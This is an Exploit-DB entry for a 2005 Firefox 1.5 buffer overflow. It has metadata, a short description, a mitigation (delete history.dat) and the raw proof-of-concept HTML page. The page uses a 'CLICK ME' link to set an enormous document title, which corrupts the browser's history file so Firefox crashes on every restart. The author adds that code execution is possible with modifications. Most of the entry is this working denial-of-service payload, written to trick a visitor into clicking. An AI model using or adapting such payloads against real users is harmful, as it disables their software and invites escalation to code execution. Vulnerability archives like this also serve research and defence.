Firefox 1.5 buffer overflow

vendor:

Firefox

by:

ZIPLOCK

7.5

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: Firefox

Affected Version From: Firefox 1.5

Affected Version To: Firefox 1.5

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP SP2

2005

Firefox 1.5 buffer overflow

This proof of concept will only prevent someone from reopening their browser after being exploited. DoS if you will. however, code execution is possible with some modifcations.

Mitigation:

Manually delete the history.dat file

Source

Exploit-DB raw data:

<!-- Firefox 1.5 buffer overflow

Basically firefox logs all kinda of URL data in it's history.dat file,
this little script will set a really large topic and Firefox will then
save that topic into it's history.dat.. The next time that firefox is
opened, it will instantly crash due to a buffer overflow -- this will
happen everytime until you manually delete the history.dat file -- which
most users won't figure out.

this proof of concept will only prevent someone from reopening
their browser after being exploited. DoS if you will. however, code
execution is possible with some modifcations.

Tested with Firefox 1.5 on Windows XP SP2.

ZIPLOCK <sickbeatz@gmail.com>

-->
<html><head><title>heh</title><script type="text/javascript">
function ex() {
	var buffer = "";
	for (var i = 0; i < 5000; i++) {
		buffer += "A";
	}
	var buffer2 = buffer;
	for (i = 0; i < 500; i++) {
		buffer2 += buffer;
	}
	document.title = buffer2;
}
</script></head><body>ZIPLOCK says <a href="javascript:ex();">CLICK ME
</a></body></html>

# milw0rm.com [2005-12-07]